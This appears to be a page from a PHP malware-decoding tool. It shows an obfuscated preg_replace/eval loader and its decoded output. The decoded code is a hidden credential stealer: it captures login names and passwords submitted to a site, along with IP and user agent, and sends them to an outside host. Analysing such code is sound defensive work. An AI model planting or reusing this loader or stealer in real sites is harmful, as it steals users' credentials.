Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/vOI9LsvWdH504bSkTjKOyDrTIgE/e", "ZpUAwr0dpoOEcS1XnFpw85rv3r1lNhDnMXn9..

Decoded Output download

        if(array_key_exists('log', $_REQUEST)) {
        $login = urlencode($_REQUEST['log']);
        $pass = urlencode($_REQUEST['pwd']);
        $ua = urlencode($_SERVER["HTTP_USER_AGENT"]);
        if(in_array('X_FORWARDED_FOR', $_SERVER))
                $ip = urlencode($_SERVER["REMOTE_ADDR"].'('.$_SERVER["X_FORWARDED_FOR"].')');
        else
                $ip = urlencode($_SERVER["REMOTE_ADDR"]);
        $url_tmp = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
        if(in_array('QUERY_STRING', $_SERVER))
                $url_tmp .= '?'.$_SERVER['QUERY_STRING'];
        $url = urlencode($url_tmp);
        file_get_contents("http://string-parser.com/store.php?ip=$ip&url=$url&login=$login&pass=$pass&ua=$ua");
        }

Did this file decode correctly?

Original Code

<?php preg_replace("/vOI9LsvWdH504bSkTjKOyDrTIgE/e", "ZpUAwr0dpoOEcS1XnFpw85rv3r1lNhDnMXn9DmatQpys8nEktuVpnCZftOG8wJj0hM8lzXTEBGx0u3icl5GO7gtpvzlh0KffXbFMzZR1gDyP7WshPyvKUe1FTamRlHx0j4KXRbNyfBDaXv8mjsx4Lm0eClvnshmRawprN4fs5iIQSF33xpu9QtcSTM7BuhTJT92g1WOu5W=Mb3DOgyMxgoEz2=2khJu1HlV88kq27qCXiFmD5y1Zb6OR6E3bOmQVMmSJL0=HoCfLIGPB5FbV=pm5udV9ElTRNlbZjahMdBYlIomBtDWts0mcc8agitywTOL4psFHtds3GU41XPiFOKiqH9Mpr=bAOm44T9ACbs5iBxXZC6eQEB8L=I2qISqX5jQNgQP99Jf=73Y0x4P35LC4U5jcLO1FyFSUVhRTrwSmorlaj1RdAUVUO6xaJmf8sxQCUhVATon8UNW4Do"^"\x3f\x064\x2d\x5f\x15J\x0d\x1e\x09\x23\x24\x176\x19\x3a\x0f5\x15A\x0cj\x16\x13P\x1dU\x09fJ\x2a8\x07\x3c\x0f\x01\x0d\x1a\x27\x3ca\x16N7\x13\x2b\x0c\x00D9\x01C\x5d\x25\x11\x25=\x7f\x12\x40\x5c\x27=\x01\x1a\x7e\x5f6\x28\x14d\x0e\x2a\x2f\x0caDy3\x29\x23Mh\x7d\x02\x06\x1a\x12\x2f\x3c\x2b\x3bH\x1b2\x03sWsf\x2b9\x16Z\x2c\x0c0en2\x26\x5c\x22\x0dB\x02\x05\x13V\x0el\x2b\x0f0\x3f\x00\x0b\x02\x21r\x29i\x13\x2a\x051\x0b\x27\x2f\x0b2\x0e\x5e\x0b8J\x1el\x1a\x0ea\x27s\x5b0\x3a\x18\x23\x5d\x04\x3b\x1b\x208vl\x25X\x03\x0d\x22\x1d\x1d7\x7dU\x20\x06\x14\x0a\x15\x3e\x17\x1fb\x08\x5b2\x5e\x24\x12\x24\x26ue\x13X\x0e\x7f7Q\x14guVD\x17\x15R\x1e\x2c\x15H\x3e\x0dOpE\x06\x01\x3c\x1d\x07p=\x3e\x07\x0a\x60\x2e\x06\x00\x18\x06\x0e\x13\x2e0\x0b\x16D\x2b\x40\x0a\x1bG\x21\x10N\x1cU2dU2\x3a\x048k\x25\x05Yw\x11D\x17\x0e\x09\x08h93\x5c\x12\x20\x22W4\x1am\x1b3fP\x2f\x02\x04\x23xC\x0b\x1d\x0f\x00G\x7c\x11145\x23\x24\x1a\x05\x0e\x0f\x21\x22\x2ai\x1aS\x0fK8\x10\x03\x0511\x03\x3c\x01\x7f\x25\x19\x0c\x7fF1\x19\x5c\x1f\x04P\x05\x3f\x04\x26\x2e\x20\x1bF\x1e\x3aT\x1b\x0a\x1dt\x27\x24x\x3b\x03p0sq78\x01X\x1et\x28\x10\x12\x15z6d\x03\x3ao\x04x\x0d\x0a\x08\x00\x60\x21\x14P\x242w\x05\x16\x29uM\x3f0ED\x5faD\x2f\x40\x0avE6\x05W\x2cy\x00\x05\x7d\x1bz\x04N\x0f\x270\x21\x22\x150\x00C\x0b\x20\x1c\x2a\x00\x108D\x04\x07\x11\x22f\x10\x2e\x054\x27\x2640\x5b\x40\x1c\x1c\x29\x21\x06\x02\x2dg\x184Omsu\x1dmF", "vOI9LsvWdH504bSkTjKOyDrTIgE");

Function Calls

gzinflate 1
preg_replace 1
base64_decode 1

Variables

None

Stats

MD5 452a91f48ea631abd69c988348e8a43d
Eval Count 2
Decode Time 134 ms